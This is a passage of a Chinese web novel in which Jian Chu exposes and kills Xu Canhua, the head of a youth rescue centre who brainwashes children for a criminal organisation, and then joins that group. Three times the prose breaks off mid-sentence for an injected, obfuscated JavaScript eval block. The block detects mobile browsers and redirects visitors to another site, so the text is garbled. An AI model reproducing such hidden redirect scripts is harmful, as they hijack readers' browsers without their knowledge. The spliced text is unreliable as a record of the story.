“怎么，小枫你也想去吗？” 徐灿华看过去，笑得和蔼可亲，从简初这个角度看过去，她嘴角的弧度简直是精心设计的完美标准。 “我听您的。”时枫乖乖笑了笑，她好歹在这待了这么久，还是知道此时该怎么回答才能让对方满意的。 “呵呵，下次吧，这次我们有悄悄话要说。”徐灿华这么说着，眼神却看向简初。 “啊，好啊。”简初笑眯眯的点头，时枫抬眼小心地瞥了眼两人的表情，缩了缩肩膀。 这两个人的表情，看着让她有点起鸡皮疙瘩了。 …… 不过才隔了半个小时，简初再次走进这间办公室，她心情有些微妙，不着痕迹地打量了眼办公桌后头的柜子，又瞧了眼徐灿华的表情，看不出什么异常。 女人神色如常，像之前一样先去接了一杯水，然后把它搁在简初面前，才在沙发上坐下，她面露忧虑，看起来欲言又止，好半天才开口。 “小简，你跟我说实话，你在外头一切还顺利吗？” 还没等简初对此有所反应，徐灿华又向她靠近了一点，脸上实质化的忧愁几乎快要溢出来。 “我很好啊。”简初愣了愣，装作心虚的样子，眼神飘忽了一下。 “你不要骗我！我能看得出来！” 徐灿华嗓门突然变大，又赶紧压下声音，她似乎强制自己轻声细语，所以经常出现这种滑动变音器的情况。 “你这样我真的很担心。”女人坐在身旁，一手紧紧攥住了她的胳膊，“你这次回来，什么事都不说，什么都瞒着我！” 简初心下一凛，保持了沉默。 “就算你不告诉我，我也都是知道的。” 徐灿华语重心长起来，眼神中透着浓得快要溢出来的关心，“现在外面竞争压力这么大，一定要好好珍惜工作的机会，知道吗？” “我知道你在外面见识到了很多，可能有别的想法，但是你要相信，徐姨是不会害你的。” 简初：“……” 这话没法接。 见女孩依旧不说话，徐灿华失望地叹了口气：“我不知道你们这些孩子到底在想什么，可是你再继续这样下去的话，怎么可能转正啊！” “噔噔噔！” “恭喜你完成前置任务！” “灯下黑耳后脏，如你所料，这家少年救助中心与某组织有着千丝万缕的联系，组织目前无比确信你的死亡，因为你面前这位女士出于某种考虑，暂且向他们隐瞒了你的到来。至此，你面临一个新的选择，是遵从这位女士的想法从此与组织割席，还是站在她的对立面成为组织的正式成员？” “任务目标：做出你的选择，并据此行动。” “重要说明：请记住，没有哪一个选项是毫无代价的，问题在于你是否能承受。” 简初：“……” 这算她完成的任务吗？ 尽管她对此有所猜测，但徐灿华的自爆还是来得有些猝不及防。 让她想想，对方第一次露出破绽是在什么时候。 啊对了，是门口大爷的那句“昨天还说你不来了呢”。 在组织的行动安排中，自己应该早已经死亡，当然不会按照原来的计划来到救助中心，但问题是徐灿华从哪里知道这些，从而取消了她今日预约的来访呢？ 这么看来，那些表格上的评估大概率是根据他们能为组织做出的“贡献”来写的，不过作为评价“优”的人，她竟然到现在都没有转正，这也太侮辱人了！ 况且她执行的任务也不过是送死，那那些评价“良”的人会被安排做什么样的任务呢？ 如果他们都已经死了，那就和时枫所说的“除她之外，没人回来”对上了。 但徐灿华是出于什么样的考虑向组织隐瞒了自己的消息呢？系统给出的两个选择中，她的立场看起来和组织完全相悖。 但实际上，徐灿华为组织输送了大量“资源”，是不是各取所需另说，但她绝对不是站在组织对立面的。 心头飞速盘算着，简初面露紧张，不敢看那个一心为自己着想的中年女人，她嘴唇抖了抖，嗫嚅着开口：“对不起徐姨，是我太无能了。” 见她悔过态度良好，徐灿华稍微放松了一些，她拍拍简初的手，语重心长：“我都明白，你这孩子一直是很让我省心的，这次……唉，不过还有机会挽回，小简，你愿意让我帮你吗？” 她恳切地握紧简初的手，等待她的回应。 答应她……答应她…… 冥冥之中有声音在耳边这样说道。 ——“在我之前来的都是灰色，在我之后来的，从白色变成了灰色。” ——“她回来得很晚，她说徐姨真的会帮她。” ——“第二天，她变成了灰色。” 那块无法解释的缺口，此刻被补足了。 原来徐灿华一直在用异能蛊惑着他们。 语言的力量本就强大，在简初原本的世界里，有人不需要异能就能洗脑旁人做出匪夷所思的行为，更何况有了异能的加持。 这些孩子可能终其一生也无法摆脱徐灿华的控制，更何况，他们本就活不了多久。 要不是简初换了个芯子，大概早就在组织的任务里送命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761117|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 也许她每年都要回救助中心，并不是因为什么感恩，而是因为徐灿华要对她进行检查，以防她逃离自己的掌控。 而时枫也许是因为异能的提醒，一直对徐灿华保持着较高的警惕，所以暂时没有被洗脑。 思及此，简初脸上露出有些恍惚的表情，朝徐灿华乖巧地点了点头。 “徐姨，我愿意。” 徐灿华此刻看起来脸色不是很好，估计她在时枫那边花了不少气力，这会有点提不起劲。 不过似乎是因为达到目的，她现在明显放松起来。 “我有些累了，我们明天再聊吧，你放心，徐姨一定会帮你想办法的。” 简初离开办公室，站在走廊往窗外看去，就见时枫一人独自坐在楼下花园的长椅上，其他人都跟她保持着距离，大约是感受到注视，小姑娘抬起头，跟她对视了一眼。 简初坏心眼地弯起嘴角，朝她露出一个跟徐灿华十分相似的、平和的笑容。 …… “副长，余组，我们的申请被退回来了。”一个小年轻做足了心理建设，才敲响了办公室的门，挪着小碎步过来汇报。 “理由呢？”坐在办公桌后的人开口。 “说是这点事报到特战中心，小、小题大做。” “知道了。” 挥挥手示意小年轻出去，门一关上，李准立马爆了一声粗口：“我去他的，这也不行那也不行，让他自己上啊！” 听着自己直属上司暴躁发言，余乐坐在对面的沙发上，看着手里的数据，不知道在想些什么。 “这个事在我们手里压了多久了！为了什么上头的看法，不报不处理，闹出事来我看他怎么收场！” “他这不是让我们去处理了。”余乐淡淡开口。 “个屁！已经明确知道里头有精神系异能者，还要自己处理，不是头铁是什么，哦，当然了，人家坐镇后方，又不用亲自上场。”李准又阴阳怪气起来。 “你都升职一年多了，怎么还沉不住气。”余乐叹了口气，揉了揉额角。 “你别跟我提升职！要不是你小子使坏，撂挑子不干，我能坐上这苦逼的位置！” 闻言，李准更加暴躁起来，“就你淡定，我可跟你说，咱们署里就这么几个异能者，闹不好你家小方也要跟着一起去，我看到时候你还淡不淡定！” “别胡说，她那个能力又派不上用场。”余乐表情不太好看。 “他管你呢，反正是异能者，总归比普通人强~” 李准最后一句九曲十八弯，把某些人学了个十成十。 “今天晚上可就要行动了，现在名单还没定下来，我告诉你最好提前想好理由，怎么把小方弄出去，我反正孤家寡人无所谓，死了也没人心疼。” 余乐看着他坐在椅子上转了一圈，抿了抿唇，双手交叉挡住下半张脸。 “……我来想办法。” “得了吧你，要我说不如申请推迟任务，反正都推了这么久了，多个几天也无妨。”李准开口道，“就许他们瞎折腾，什么臭毛病。” “确实是这样，要是不双标，那就不是他们了。”余乐沉沉开口，眼中闪烁着坚定。 “不过这次你信我，我有办法。” 12. 灯下黑（12） 日薄西山，此时气温刚好，中心的人们吃过饭，纷纷三两成群，在花园里散步聊天，看起来相当悠闲。 简初坐在长椅上，远远看着时枫犹豫了好一会，终于还是走了过来。 她坐在长椅的那一头，谨慎地跟简初保持着距离。 “你还好吧？”小孩子耐不住，还是开口了。 “当然，有徐姨在，怎么会不好。”简初懒洋洋地说道，她的语气让时枫稍稍松了口气。 “我还以为你被她说服了……” “还有空担心我呢，”简初打断了她的话，“你前科太多，突然转变她不会轻易相信的。” 自己就不一样了，有这多年的“洗脑经验”，徐灿华对她的状态明显要放心得多。 “她让我今天晚上熄灯之后去办公室找她，我有点害怕。”时枫干巴巴开口，眼里透出迷茫，“你说我是不是应该一直忍着，等离开就好了。” 看着女孩有点失去斗志，简初开口：“没你想的那么简单，就算你一直忍到最后，她也不会轻易放你走的。” 徐灿华和组织之间的关系尚不明朗，但她洗脑孩子们为组织卖命已是不争的事实，她不会让一个可能意识到异常的定时炸弹自由离开的。 “今天晚上，你一定要对她保持最高度的警惕，必要的时候可以用你的……提醒一下自己。”简初开口道。 她没有说徐灿华拥有异能的事，对时枫来说，知道的事情越少越好。 只要继续保持现状，时枫大概率会安然无恙，一旦出现了变量，结果就变得无法预估。 也许出于恐惧，时枫的心理防线反而会崩塌，从而被徐灿华洗脑。 “嗯。”女孩抠抠手指，低低地应了声。 …… 夜幕降临，层层的薄云将月亮遮在身后，时间一到，外头走廊上的灯齐刷刷地熄灭。 简初无声无息地行走在阴暗里，利用闪现避开洋楼里本就不多的监控。 楼里监控排布还是比较有规律的，每层楼相同的位置都会有一台，应该是经过设计的，但二楼回字形走廊尽头，也就是时枫所说的“禁闭室”附近的那台监控报废了，它只是表面看起来还架在那儿，实际并没有在运行。 禁闭室位于办公室的正下方，趁徐灿华今夜有别的事，她正好能进去探查一下。 这个地方意义特殊，此前必定有不少像时枫这样“不听话”的孩子受到处罚，也许会有什么线索，帮助简初做出系统给出的选择。 她只要知道徐灿华为什么向组织隐瞒自己的消息，她可不信对方是出于好心。 周围安静得可怕。 简初躲在了最近的储藏间里，等待闪现技能刷新。 潮湿的发霉气味直往她鼻尖钻，楼梯夹缝的阴影里，一个矮小的木头柜子挡住了她大半身形，技能刷新之后她又在原地等了片刻，才重新踏上了这条走廊。 窗外突然有月光照进来，没几秒又恢复黑暗，简初放轻脚步，来到禁闭室门前，小触手丝滑地钻进锁眼，却发现门没有上锁。 此刻里面没有关着谁，没锁门也是正常的。 她推开门，走了进去。 屋子里很黑，但简初暂且没有开灯，只是借着外头一点微弱的光打量着室内。 比起禁闭室，这更像一间大教室，桌椅呈弧形规律排布着，朝向那头的讲台，讲台很大，很像是简初以前上大课的阶梯教室，甚至还有厚重的幕布罩着。 一般的禁闭室不都是小黑屋，这么大的空间真的能起到效果吗？ 乌云飘过，一直被拦在身后的月光突然透过窗户照了进来，屋内霎时亮了许多，让简初看清了室内的场景—— 所有的座椅都面朝着中心讲台，最前排有一部分上面摆放着毛绒人偶，看起来分外惊悚。 简初正准备走上前查看，却听见禁闭室的最前方，讲台后的黑暗中传来一声叹息。 “你怎么来了。” 简初停下脚步，循声看了过去。 半边幕布缓缓拉开，后面的空间慢慢展现在她眼中。 “彩排而已，还没到你该来的时候。” 徐灿华站在讲台后面，手上捏着一个什么，光线太黯淡，简初并不能看清。 女人朝前走了两步，被外头反射进来的月光照亮了半张脸，她朝简初举起手里的东西：“你看，这是不是很像你？” 简初沉默地看着她手里两个眼睛一个嘴的人偶，愣是没看出来它和周围摆放了一圈的其他人偶有什么区别。 徐灿华收回手，温柔地扫视周围，随后低下头，爱怜地摸了摸掌心的人偶。 “这些都是曾经我照顾的孩子们，他们为组织奉献了一切，得到了坐在这里的资格。” “你已经是他们中最优秀的一个了，但还是不够，你的那点天赋在联邦军校根本不够看，组织看不到培养你的价值。” “为了不让大家失望，我只能任由他们安排你做任务，不过你之前几次都做得很好，他们告诉我，你很可能会转正。” 简初：“……” 这该死的组织，到底要用转正骗多少人。 “但是这次，你为什么不好好做呢？”徐灿华突然露出有些不解的表情，“你为什么要违背组织的安排呢？” “因为做了会死？”简初一脸疑惑，似乎在说你是不是脑子有病。 “我们所有人辛苦维持的，来自组织的信任，都被你毁了！”徐灿华突然掐住手里的人偶，将它举了起来。 “你！不仅背叛了组织，还试图继续骗我！” 见简初不作声，徐灿华又忍不住笑出了声。 “你们这些孩子啊，对这个世界的认知太浅薄了，搞得我好像在害你们一样，小枫也是……” 女人好像突然想起了什么，侧过头冲旁边开口，“你有没有反思过，你过得这么惨不是因为别人，而是因为你自己。” “因为你不听话，所以你的父母把你丢掉，因为你没有用，所以你交不到朋友，因为你一意孤行，所以得不到救赎。” “徐灿华！”简初感到不妙，开口阻止她继续说下去，却看到另一侧的幕布被缓缓拉开，露出它身后的影子。 时枫正安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761122|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静地坐在一张轮椅上，大半边身子藏在幕布的黑影里，一动不动，看起来很不对劲。 女人走了过去，将手中的人偶放在时枫怀里，将人推了出来，轮椅在地板上发出刺耳的摩擦声，听起来有年头了。 “我请她来帮我布置场地的，是不是弄得很好，我看她实在累了，就让她在这休息。” 徐灿华看了过来，“别担心，我们的交流非常和谐。” “她现在大概能理解我的理念了，在我的帮助之下，快乐幸福地度过剩下的日子，有什么不好呢？” “你是指快乐地送命吗？”简初冷冷开口，打断了她，徐灿华讶异地睁大眼朝她看了一眼。 “你这说的是什么话，徐姨都是为了你们好，你们这些孩子，都是被社会抛弃的可怜虫，没有我替你们找到能发光发热的地方，你们只能在无尽的痛苦中度过漫长的一生。” 她爱怜地摸了摸时枫的脸，柔柔开口：“除了我，没有人爱你。” “没关系，我会纠正她的，她仍然会是你们的榜样，组织会给我们新的机会。” 徐灿华抬起头转过身，朝简初露出微笑：“小枫已经回到了应有的位置上，而你，也还有机会，我会帮助你重新走上正轨，求得组织的原谅。” 女人从裙摆口袋里掏出一把银白色的小巧手枪，稳稳地瞄向了她。 “你将是这把枪帮助的第三个人。” 她本该死在那场任务里，现在还来得及。 简初站在原地，突然笑了。 原来系统给的第一个选择中，徐灿华给她安排的结局是死亡，很合理，人都死了，理所应当就和组织割席了嘛。 而另一个选项…… 简初笑着歪了歪头，将手插在兜里，向前走去。 “徐灿华，我该说你什么好呢，自信，还是自负？你以为我这次回到这里，是因为什么？” 意料之外的反应，让徐灿华愣了愣，但简初没给她再开口的机会。 “是谁告诉你，组织不愿意培养我呢？” 简初闲庭信步，一脸无所谓地顶着枪口逐渐逼近中央的讲台。 与此同时，小触手悄悄伸了出来，挡住了简初的要害部位。 幸好别人看不见，否则她可能都要被当作是异种了。 “实话告诉你，我这一趟回来，是带着组织给我的重要任务的。” “让我想想，你在这里干了多久了，你真以为你做的那些事，组织都不知道？” 简初冷笑一声，十足的压迫感让徐灿华脑子都有些转不过来。 “我不过小小地试探了你一下，你就迫不及待露出了狐狸尾巴，这两天我给了你很多机会，但是你没有珍惜，毫无悔改之意不说，还想对我动用私刑。” 简初脸上露出沉痛的表情，似乎对此感到十分痛心，面对女人有些怔然的表情，她斩钉截铁地开口。 “徐灿华，我现在正式通知你，因为你隐瞒不报滥用职权，肆意损害组织利益，组织已经对你忍无可忍。” “我将根据组织的指令，对你进行最后的审判。” 13. 灯下黑（13） “你好，你就是傅燃吧，初次见面，我是余乐。” 闻言，年轻人将视线从不远处的小洋楼上挪开，迅速握了一下来人的手。 “我是傅燃，幸会。” “报告我们已经提前发过去了，这边的情况你应该都了解，我们……” 余乐感受到身后有人使劲戳了戳自己的腰，他深吸一口气把人推开，刚要继续说话，又被再次无情打断。 “抱歉，这边有事要商量一下，稍后咱们再交流。” 傅燃点点头，看着两人拉拉扯扯走到了稍远的地方，面无表情地歪了歪头，又继续回身盯着小洋楼了。 “怎么个事，这就是你说的外援？他成年了吗？！”李准又回头看了眼年轻人，压低声音朝余乐说道。 不是他不相信自家好友，但是这人看起来也太年轻了，虽然个高腿长，长得还挺好，但出任务又不能靠脸！他本来想象的外援要么是一个彪形大汉，要么是一个智囊型笑面虎，怎么会来了个这么年轻的，而且还就一个人！ “余乐，你老实跟我说，你是不是被人诓了，有事跟兄弟说，我厚着脸皮去把任务再推两天，反正……” “停！”余乐一手拦在面前，截住了好友逐渐离谱的想法，“成年了，专业的，很靠谱。” 见李准还是一脸怀疑，他叹了口气再次开口解释：“我私下找老同学借的人，她在特战中心还算个小领导，绝对没问题。” 特战中心正在忙碌的傅遥打了个喷嚏，莫名其妙地挠挠鼻子，继续打工。 “不是余乐！你有这人脉不早说，看我每次申请被打回来你缺不缺德！” “就以前同学，这也是第一次找人家，人情债不好还啊。” 李准心里也清楚，特战中心是什么水平，那是相当难请，余乐这个千年闷葫芦，因为这人情债，估计私底下考虑好久了。 虽然他那老同学未必会在意，毕竟人家很难有事请到他们头上。 “下次有这种事可提前告诉我啊，都兄弟还瞒着呢。”李准撇撇嘴，算是把这一页揭过了。 这两人自以为窃窃私语，其实已经被不远处的傅燃听了个底朝天，见他们终于有聊完的架势，他抬脚走上前去。 “设备装好了吗，你们这边是什么安排。” “啊，都装好了，那边在调试，我们是这么安排的，这次的目标是救助中心的负责人徐灿华，除此以外没有其他异能者，但她的能力比较特殊，不太好评估，而且中心里还有很多未成年人，所以整体行动战略比较保守，最好能直接把人拿下。” “里面的监控呢？” 尽管异能会干扰电子设备，使其失效，但周围没有人使用异能的时候，还是能拍到一些东西的。 “呃，这个，这边的监控是独立的。” 李准尴尬地看了眼余乐，发现他没有帮忙开口的意思，只能硬着头皮继续解释，“因为我们没有申请到更高的权限，所以暂时还调不到。” 傅燃瞥了眼一旁的异能波动检测装置，点了点头：“我知道了，我先进去，保持联络，你们等我通知。” 话音未落，矫健的身影翻过围墙，消失在黑夜里。 “哎！不是，”李准讷讷收回手，“这行动力，呵呵，真牛啊。” …… 徐灿华被这急转的形势镇住了。 “不可能！你在骗我！”她平静的面容终于有裂开的迹象，“你只不过是最低级的人员，怎么可能给你安排这种工作！” “徐姨，你这样真的让我很伤心。”简初跨上讲台，一脸悲伤地摇摇头，跟徐灿华对峙着。 女人持枪的手有些颤抖，小触手从简初的身后探出来，慢慢滑向两人中间的时枫，它伸出尖尖在女孩脸上戳了戳，对方没有丝毫反应。 简初又向前走了一步。 “我受到组织赏识，你不该为我感到高兴吗？” “徐姨，你不是一心向着组织吗，怎么开始怀疑组织的决定了呢？” “组织的决定果然是正确的，你只是为了一己私欲罢了。” 简初脸上写满了失望，看起来真心实意为徐灿华的行为感到难过。 “我不信！我要跟组织联系！” “你没有机会了。”简初眼疾手快，小触手闪电一般窜出，击飞了徐灿华掏出的小东西。 不管是什么，砸了再说。 “呵呵，你在骗我。” 徐灿华的表情扭曲起来，她不再犹豫，抬手就是一枪，但下一秒，原本在她面前的人却消失了。 “不要挣扎了，我要是没有能力对付你，组织怎么会派我来。” 徐灿华豁然回头，却见人影出现在她身后，简初劈手直接夺过了女人掌心的手枪。 装归装，技能还要冷却呢。 “你竟然有异能？！” 简初侧了侧头，并没有回应她的质问，比起别的，她现在更想从对方嘴里套出更多的信息。 “我都说了，我要是对付不了你，怎么会被组织派来？” “你这些年给组织做了不少事，上头都记着你的功劳，但是你不该……现在回头还来得及。” 简初淡淡开口。 “不该？他们没有完成任务，我来帮忙，哪里有错！”徐灿华依旧拿枪指着她，但情绪看起来不算稳定。 “组织有组织的安排，他们本可以继续效力，但你的介入一来是无谓的消耗，二来让组织对任务完成情况有了错误的认知。” “原本失败的任务被你这么一整，看似是成功了，但是毫无成果，甚至还被引向相反的方向。” 简初参考自己的例子，向徐灿华疯狂输出，不断巩固自己的身份。不过话越说越不对劲，这人做的事怎么那么像卧底呢？ “你根本不懂！他们任务失败，对我的名声有多大的损害！” 徐灿华的情绪突然拉高，紧接着，原本安静坐在一边的时枫突然开始剧烈颤抖。 简初冷下脸，看向对面近似疯狂的女人：“你还是毫无悔改之心。” “啊！” 回答她的是时枫凄惨的喊声，女孩两只手骤然用力，抠向自己的咽喉，指甲在皮肤上划出数道血痕，但她此刻看向简初的眼神却是清醒的。 此刻她的身体里似乎有两个灵魂，一个在试图扼死自己，另一个则困于其中，挣扎求生。 “救……救我……求你！” 清亮的泪水从时枫眼中汹涌而出，跟脖子上的血液混合在一起。 下一秒，徐灿华手一翻，手心出现一颗黑色的物品，它很小，握在手心里几乎看不清，但对方的表情让简初心下警铃大作。 到此为止了，徐灿华已经拒绝继续和她交流。 简初一个闪现，瞬间出现在徐灿华面前，她一手摁住对方的后脖颈，小触手紧紧缠绕在她的胳膊上，尖端化出一支短匕，毫无阻碍地刺进了徐灿华的胸膛。 结束得太快了，徐灿华除了异能之外几乎毫无战斗力，最重要的是她没有想到简初手里没有武器，却能伤害到她。 濒死之际，她却突然抓住了简初的手，用最后的力气质问道：“那孩子呢！你不是她！你把她弄到哪儿去了！” 她已经没有什么气力，声音很小，几乎是吐在简初耳边。 令人遗憾的是，她的声音里并没有担忧，只是事物脱离自己掌控的焦躁。 徐灿华的异能长久地强化着她本身的控制欲，最终将她送入泥潭，不得逃脱。 简初没有回答，她将手往里送了送，半透明的刀刃又没入了一寸，女人睁大双眼，瞳孔散开，停止了呼吸。 小触手甩开身上的血迹，飞快缩了回去，简初将尸体慢慢放在地上，看向了时枫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|11761123|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “天赋技能【神之手】升级成功，解锁能力【唱诗班】、【人偶师】，请继续努力。” “唱诗班：与普通人相比，你有着无与伦比的公信力，你说出的话比一般人更容易使人信服。此技能一对一使用，每日刷新一次，效果与对方对你的信任成正比，与对方意志力成反比。” “人偶师：精美的人偶在你手下翩翩起舞，但制作人偶对你来说并不是一件容易的事。警告：此技能危险程度较高，不建议使用，因此不做详细描述。” 简初挑了挑眉，徐灿华居然有两个异能，不过从对方的使用情况来看，能力效果并不如系统所说的那么简单。 其实从上次的闪现就能看出来，中年人死前提前催动了能力，说明规则并不是绝对的。 看来还是需要自己多多探索。 视线在屋子数量众多的人偶身上绕了一圈，回到了时枫身上。 “时枫。” 小姑娘毫无戒备地看了过来，她满脸泪水，但眼神中充满了依赖。 “你现在很安全，好好休息一下吧。” 简初放低声音，像哄小孩子一样悠悠出声。 “你会忘记苦痛，迎来新的生活。” 时枫的眼神渐渐失去焦距，身体前倾，砰得一声从椅子上摔了下来，额头磕在地上，迅速肿了起来，但她没有任何反应，甚至打起了小小的呼噜。 简初：“……” 有点愧疚了怎么整。 “嗡嗡嗡——” 简初循声看去，是刚刚徐灿华掏出来的东西，它正掉落在地上，在它不远处，之前被打落的联络器正在疯狂振动。 她走上前，将两个东西都捡起来，低头看见联络器上面显示的图标。 它整体呈圆形，周围一圈缠着带刺的藤蔓，中间的雪山上画着一把枪和一柄剑，顶端则有一朵简初认不出来的花。 看起来很精美，但简初并没有在救助中心里见过这个图案。 大概就是那个组织的标志了。 简初思索了两秒，点开接通。 “修女，有人去抓你了，快跑。”声音耳熟得很，是一号。简初垂下眼，看了眼上面显示的名字—— 无影。 有人来了？ 仿佛是为了证明这句话，一道敏捷有力的脚步声突然闯入简初的耳朵。 嘶，这组织的提醒来的也太晚了！ “是我，苍耳。”简初眼睛眯了眯，紧接着胸腔剧烈起伏，发出焦急的声音。 “什么！苍耳你怎么、” “来不及了，他们已经来了，修女死了。”简初先发制人打断他的话，手上扯下一块幕布裹住自己，只露出一双眼睛。 最多再有十秒，那人就要抵达这间屋子的门口。 “等等，你说什么？” “别废话了，帮我扫尾，不然我把所有的事都给抖出去。”简初理直气壮地指使起人，“修女把东西都给我了，我只是个普通人，他们不会杀我的。” “你疯了！”无影气急，他跟修女止同级，并不清楚对方手里都有些什么，“你的事回头再说！给我把嘴闭紧了！” 下一秒联络器被粗暴挂断，紧接着发出滴滴的警报声，简初福至心灵，将其扔出，一声巨响，联络器在空中炸裂开来，吸引了外面人的注意力。 来人加快了脚步。 简初冷笑一声，走到窗前，借着小触手的力跨上窗沿，她最后扭头朝里面看了眼，正巧对上门口年轻人的眼睛。 耶？老熟人。 黑影毫不犹豫从窗口跃下，幕布在身后膨起，傅燃三步并作两步冲上前，却只抓到了空空的幕布，其中的神秘人早已消失不见。 他用力攥紧了手里的幕布，转头看向室内倒在地上的两个人，沉沉开口道：“目标死亡，现场确认安全，可以进入。” 14. 灯下黑（14） 简初看了一眼远处的小洋楼，转头向另一个方向走去，不清楚组织的扫尾工作能做到什么程度，她打算自行回到小旅馆附近观望一下情况，再打算下一步。 “噔噔噔！” “恭喜你做出了正确的选择，正式成为***” 系统突然卡顿了一下，似乎被什么干扰了，过了几秒，终于恢复正常。 “恭喜你做出了正确的选择，正式成为温弗拉的一员，迈出了深入认识这个世界的第一步，你获得了短暂的安宁，但不要放松警惕，做出的选择无法更改，请务必谨慎。” “你手上仍有一条任务。” 她走了没多远，系统的声音终于来了。 很明显温弗拉就是这个组织的名字，听起来挺别致，她还以为会是类似光明教团或者血杀会之类的呢。 也许是因为她正式加入了组织，所以原本不在她权限内的信息得到了解锁。 正如系统播报所说，正式加入温弗拉，未来不可避免会有更多的任务需要她执行，单从目前所有信息看来，这个组织并非良善之辈，必定会出现极其危险的情况，但除此以外还有一件更麻烦的事—— 系统任务很有可能会和组织任务产生冲突，系统任务必定占最高优先级，她就需要将组织任务的失败合理化。 从这次的事情来看，温弗拉的势力极有可能渗透进了联邦内部，但具体达到了什么程度简初无从得知，但这就让简初无法对联邦完全托付信任。 正如方何欣的测谎异能，如果有一天她知道了异能有不管用的时候，那此后她就不再会信任自己的能力。 “做出的选择无法更改，请务必谨慎。” 选择不仅仅在系统发布的任务里，还会出现在丝毫不起眼的地方，也许就一个念头，她已经做出生死攸关的选择。 思及此，简初突然想起来什么，她掏了掏兜，摸出一个黑色的小立方。 这时徐灿华最后掏出来的东西，还没来得及使用就被她彻底阻止了。 “获得物品：温弗拉的信息同步器，原归属人：修女（徐灿华）。” 简初：“……” 幸好没让她用上，否则她大放厥词，讲的那些话也许都要被组织得知，后面就装不下去了。 不过没想到今天晚上正巧遇上官方行动，看起来就算没有自己，徐灿华也自身难保，温弗拉虽然有心提醒她，但已经太晚…… 简初突然停下了脚步。 无影的扫尾工作完成得太快了，而他给徐灿华递消息的时机却实在太晚了，就算没有自己，徐灿华也必定逃不了。 不行，这背后太复杂了，她知道的信息过于有限，无法推出一个合理的结论。 简初长叹一口气，吐出积攒的疲惫，她现在非常需要更多信息，但这件事显然急不起来，只能暂时先放在一边。 而从现有的情况看来，相比于温和退让，激进的选择反而更加有利，但这并不能作为评判系统任务的标准。 不过现在好歹得到了暂时的安稳，希望她有足够的时间来提高自己，毕竟自己手上还有一个“学霸任务”要做呢。 夜幕中群星闪烁，依稀照亮了简初脚下的路。 …… “怎么样？”李准刚挂掉跟上级汇报的电话，边匆忙走过来询问情况。 “一个死了，一个……睡死了。”余乐一言难尽地朝朝他摇摇头。 李准长叹了一口气，接着眼神往窗边飘了飘：“你的外援已经站那十来分钟了，他没事吧。” 余乐抬头，正看见年轻人站在窗边盯着远处，夜风吹得他头发往后飞，露出光洁的额头，表情严肃不知道在思考什么。 他犹豫了两秒，走上前去。 “你……” “我没事，”傅燃淡淡开口，打断了他后面要说出口的话，“这次行动失误在我，我会向特战中心提交书面报告的。” “呃，不是这个意思……” 余乐很清楚，这次行动的失败根源不在对方，而是因为他们一直拖着，将事情推向了无法挽回的深渊。 现在目标任务被灭口，他们只能寄希望于能发现一些别的蛛丝马迹，但显然这不会容易。 但凡早一点行动，都不会出现这样的情况，但现在后悔已经没用了。 “我是想问，你确定你来的时候只看到了一个人吗？” 余乐皱着眉，似乎在思考什么很不能理解的事情，“因为……我们检测到了好几个异能波动，在场的异能者，至少有三个人。” 傅燃垂了垂眼皮，点了点头：“我了解了，我讲的一切属实，后续的作战报告里也会进行详细的叙述，不出意外，两个小时之后就会有人来接手这里的工作。” “后续请直接与他们对接。” 他朝余乐点了点头，转身翻过窗，消失在了夜色里。 “呃，他就这么走了？”李准扑过来，扒着窗户朝外看，“走了？” “别看了，干活。”余乐摇摇头，“外援本来就是充实战斗力的，你还指望别人给你把调查报告写了？” …… 联邦中心学院星。 这是一颗人造卫星，由联邦军部直接管理。 联邦所有高校的总校区都坐落在这里，而联邦军校作为其中最大、实力最雄厚的综合性军事院校，一家独大地占领了最好的地皮，而紧挨着隔壁是几乎与它齐名的联邦理工。 这是人类对太空拓疆的一次巨大尝试，母星人口负荷过大，未来卫星移民不可避免，但那应该是很久很久以后的事了。 简初坐在飞速行驶的公交内，仰靠着椅背睁着呆愣愣的双眼看着窗外空中飞梭的花花绿绿的交通工具发呆。 从离开救助中心的那一夜开始，她每天的睡眠时间严重不足，不知道是什么原因，一闭上眼耳边就会听见模糊的话语声，直到今天才好了些。 虽然声音还在，但是明显小了许多，简初怀疑是这几天的经历过于刺激，神经紧张而导致的轻微幻觉，再过两天应该就能完全消失了。 不过救助中心那边的风平浪静还是出乎了她的意料，她不得不再次审视温弗拉的能量。 至于这表面的风平浪静之下，隐藏了多少的暗潮，就是另外的事情了。 简初疲惫地闭了闭眼。 天空中的航线交错，但并不会发生碰撞事故，看着还挺解压。 很快，车辆就抵达了目的地，简初一下车就被面前的景象吓了个激灵。 哇哦！ 她睁大眼，站在乘车点呆呆地抬起头来，看向远处数艘好像小山一样的舰船，伸手托住了自己的下巴。 